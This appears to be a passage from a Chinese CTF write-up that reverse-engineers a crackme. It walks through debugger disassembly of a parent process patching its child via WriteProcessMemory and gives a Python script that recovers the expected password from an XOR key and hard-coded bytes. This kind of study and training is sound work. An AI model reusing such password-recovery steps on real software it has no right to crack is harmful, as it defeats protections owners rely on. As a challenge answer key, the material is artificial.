010913AF . 8B5424 14 mov edx,dword ptr ss:[esp+0x14] ; |CTF_100_.<ModuleEntryPoint>
010913B3 . 6A 0D push 0xD ; |BytesToWrite = D (13.)
010913B5 . 8D8424 A80300>lea eax,dword ptr ss:[esp+0x3A8] ; |
010913BC . 50 push eax ; |Buffer = 0102E708
010913BD . 49 dec ecx ; |CTF_100_.01091145
010913BE . 51 push ecx ; |Address = 0x1091145
010913BF . 52 push edx ; |hProcess = 000000F0 (window)
010913C0 . C78424 B40300>mov dword ptr ss:[esp+0x3B4],0x148A4690 ; |
010913CB . C78424 B80300>mov dword ptr ss:[esp+0x3B8],0xF14300E ; |
010913D6 . C78424 BC0300>mov dword ptr ss:[esp+0x3BC],0x75C83B41 ; |
010913E1 . C68424 C00300>mov byte ptr ss:[esp+0x3C0],0xF5 ; |
010913E9 . FF15 24C00901 call dword ptr ds:[<&KERNEL32.WriteProce>; \WriteProcessMemory

又将硬编码写入到子进程的相应位置

跟进地址WriteProcessMemory的地址参数

1
2
3
4
5
6
7
01091145  |.  CC            int3
01091146 |. AC lods byte ptr ds:[esi]
01091147 |. FF140F call dword ptr ds:[edi+ecx]
0109114A |. 41 inc ecx ; CTF_100_.01091145
0109114B |. 35 9C8A64F5 xor eax,0xF5648A9C
01091150 |. ff db ff
01091151 |. FC cld

开头一个int3系统断点,交给父进程

手动将之前的硬编码写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
01091118  |.  8D85 FCFEFFFF lea eax,[local.65]
0109111E |. 8D50 01 lea edx,dword ptr ds:[eax+0x1]
01091121 |> 8A08 /mov cl,byte ptr ds:[eax]
01091123 |. 40 |inc eax
01091124 |. 84C9 |test cl,cl
01091126 |.^ 75 F9 \jnz short CTF_100_.01091121
01091128 |. 2BC2 sub eax,edx
0109112A |. 57 push edi ; kernel32.WaitForDebugEvent
0109112B |. 8985 F4FAFFFF mov [local.323],eax
01091131 |. 8BBD F8FAFFFF mov edi,[local.322]
01091137 |. 8B85 F4FAFFFF mov eax,[local.323]
0109113D |. 8B35 C0FE0901 mov esi,dword ptr ds:[0x109FEC0] ; CTF_100_.0109D9C0
01091143 |. 33C9 xor ecx,ecx ; CTF_100_.01091145
01091145 90 nop
01091146 46 inc esi ; kernel32.ContinueDebugEvent
01091147 8A140E mov dl,byte ptr ds:[esi+ecx]
0109114A 30140F xor byte ptr ds:[edi+ecx],dl
0109114D 41 inc ecx ; CTF_100_.01091145
0109114E 3BC8 cmp ecx,eax
01091150 ^ 75 F5 jnz short CTF_100_.01091147
01091152 33C9 xor ecx,ecx ; CTF_100_.01091145
01091154 80040F 01 /add byte ptr ds:[edi+ecx],0x1
01091158 |. 41 |inc ecx ; CTF_100_.01091145
01091159 |. 3BC8 |cmp ecx,eax
0109115B |.^ 75 F7 \jnz short CTF_100_.01091154
0109115D |. 8D8D FCFEFFFF lea ecx,[local.65]
01091163 |. 51 push ecx ; /String = "怓?0A;萿?蓘A;萿鲘嶞?Q ?_婱??繼?"
01091164 |. FF15 20C00901 call dword ptr ds:[<&KERNEL32.OutputDebu>; \OutputDebugStringA
0109116A |. 5F pop edi ; kernel32.WaitForDebugEvent
0109116B |> 8B4D FC mov ecx,[local.1]
0109116E |. 33CD xor ecx,ebp
01091170 |. 33C0 xor eax,eax
01091172 |. 5E pop esi ; kernel32.ContinueDebugEvent
01091173 |. E8 24030000 call CTF_100_.0109149C
01091178 |. 8BE5 mov esp,ebp
0109117A |. 5D pop ebp
0109117B \. C3 retn

通过分析这段代码可以得知,这段程序通过参数调用子程序,然后对输入的字符串进行异或,最后加一,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
01091436   .  FFD3          call ebx                                 ;  kernel32.ReadProcessMemory
01091438 . 81BC24 B00300>cmp dword ptr ss:[esp+0x3B0],0x2B5C5C25
01091443 . 74 18 je short CTF_100_.0109145D
01091445 > 83C8 FF or eax,-0x1
01091448 . 5F pop edi ; CTF_100_.<ModuleEntryPoint>
01091449 . 5E pop esi ; CTF_100_.<ModuleEntryPoint>
0109144A . 5B pop ebx ; CTF_100_.<ModuleEntryPoint>
0109144B . 8B8C24 A81100>mov ecx,dword ptr ss:[esp+0x11A8]
01091452 . 33CC xor ecx,esp
01091454 . E8 43000000 call CTF_100_.0109149C
01091459 . 8BE5 mov esp,ebp
0109145B . 5D pop ebp ; CTF_100_.<ModuleEntryPoint>
0109145C . C3 retn
0109145D > 81BC24 B40300>cmp dword ptr ss:[esp+0x3B4],0x36195D2F
01091468 .^ 75 DB jnz short CTF_100_.01091445
0109146A . 81BC24 B80300>cmp dword ptr ss:[esp+0x3B8],0x7672642C
01091475 .^ 75 CE jnz short CTF_100_.01091445
01091477 . 8B8424 BC0300>mov eax,dword ptr ss:[esp+0x3BC]
0109147E . 8B8C24 B41100>mov ecx,dword ptr ss:[esp+0x11B4]
01091485 . 2D 80664E52 sub eax,0x524E6680
0109148A . 5F pop edi ; CTF_100_.<ModuleEntryPoint>
0109148B . F7D8 neg eax
0109148D . 5E pop esi ; CTF_100_.<ModuleEntryPoint>
0109148E . 1BC0 sbb eax,eax
01091490 . 5B pop ebx ; CTF_100_.<ModuleEntryPoint>
01091491 . 33CC xor ecx,esp
01091493 . E8 04000000 call CTF_100_.0109149C
01091498 . 8BE5 mov esp,ebp
0109149A . 5D pop ebp ; CTF_100_.<ModuleEntryPoint>
0109149B . C3 retn

然后与硬编码进行比较,正确返回1,错误返回-1


解密算法

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python

key = 'elcome to CFF test!'
encode = [0x25,0x5C,0X5C,0X2B,0x2F,0X5D,0X19,0X36,0X2C,0X64,0X72,0X76,0X80,0X66,0X4E,0X52]

decode = ''
for x in range(16):
decode += chr(ord(key[x])^(encode[x]-1))

print(decode)

相关资料

CATALOG
  1. 1. PWN
    1. 1.1. [XMAN]level0
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
      5. 1.1.5. 相关资料
    2. 1.2. [XMAN]level1
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
      5. 1.2.5. 相关资料
    3. 1.3. [XMAN]level2
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
      5. 1.3.5. 相关资料
    4. 1.4. [XMAN]level2(x64)
      1. 1.4.1. 题目信息
      2. 1.4.2. 程序分析
      3. 1.4.3. 解题过程
      4. 1.4.4. EXP
      5. 1.4.5. 相关资料
    5. 1.5. [XMAN]level3
      1. 1.5.1. 题目信息
      2. 1.5.2. 程序分析
      3. 1.5.3. 解题过程
      4. 1.5.4. EXP
      5. 1.5.5. 相关资料
    6. 1.6. [XMAN]level3(x64)
      1. 1.6.1. 题目信息
      2. 1.6.2. 程序分析
      3. 1.6.3. 解题过程
      4. 1.6.4. EXP
      5. 1.6.5. 相关资料
    7. 1.7. [XMAN]level4
      1. 1.7.1. 题目信息
      2. 1.7.2. 程序分析
      3. 1.7.3. 解题过程
      4. 1.7.4. EXP
      5. 1.7.5. 相关资料
    8. 1.8. [XMAN]level5
      1. 1.8.1. 题目信息
      2. 1.8.2. 程序分析
      3. 1.8.3. 解题过程
        1. 1.8.3.1. mmap()函数
        2. 1.8.3.2. mprotect()函数
      4. 1.8.4. EXP
      5. 1.8.5. 相关资料
    9. 1.9. [XMAN]level6
      1. 1.9.1. 题目信息
      2. 1.9.2. 程序分析
      3. 1.9.3. 解题过程
      4. 1.9.4. EXP
      5. 1.9.5. 相关资料
    10. 1.10. [XMAN]level6_x64
      1. 1.10.1. 题目信息
      2. 1.10.2. 程序分析
      3. 1.10.3. 解题过程
      4. 1.10.4. EXP
      5. 1.10.5. 相关资料
    11. 1.11. Tell Me Something
      1. 1.11.1. 题目信息
      2. 1.11.2. 程序分析
      3. 1.11.3. 解题过程
      4. 1.11.4. EXP
    12. 1.12. Smashes
      1. 1.12.1. 题目信息
      2. 1.12.2. 程序分析
      3. 1.12.3. 解题过程
      4. 1.12.4. EXP
      5. 1.12.5. 相关资料
    13. 1.13. Backdoor
      1. 1.13.1. 题目信息
      2. 1.13.2. 程序分析
      3. 1.13.3. 解题过程
      4. 1.13.4. EXP
      5. 1.13.5. 相关资料
    14. 1.14. Guess
      1. 1.14.1. 题目信息
      2. 1.14.2. 程序分析
      3. 1.14.3. 解题过程
      4. 1.14.4. EXP
      5. 1.14.5. 相关资料
    15. 1.15. Item Board
      1. 1.15.1. 题目信息
      2. 1.15.2. 程序分析
      3. 1.15.3. 解题过程
      4. 1.15.4. EXP
      5. 1.15.5. 相关资料
    16. 1.16. Guestbook2
      1. 1.16.1. 题目信息
      2. 1.16.2. 程序分析
      3. 1.16.3. 解题过程
      4. 1.16.4. EXP
      5. 1.16.5. 相关资料
  2. 2. REVERSE
    1. 2.1. 软件密码破解-1
      1. 2.1.1. 题目信息
      2. 2.1.2. 程序分析
      3. 2.1.3. 解题过程
      4. 2.1.4. 解密算法
      5. 2.1.5. 相关资料
    2. 2.2. 软件密码破解-2
      1. 2.2.1. 题目信息
      2. 2.2.2. 程序分析
      3. 2.2.3. 解题过程
      4. 2.2.4. 解密算法
      5. 2.2.5. 相关资料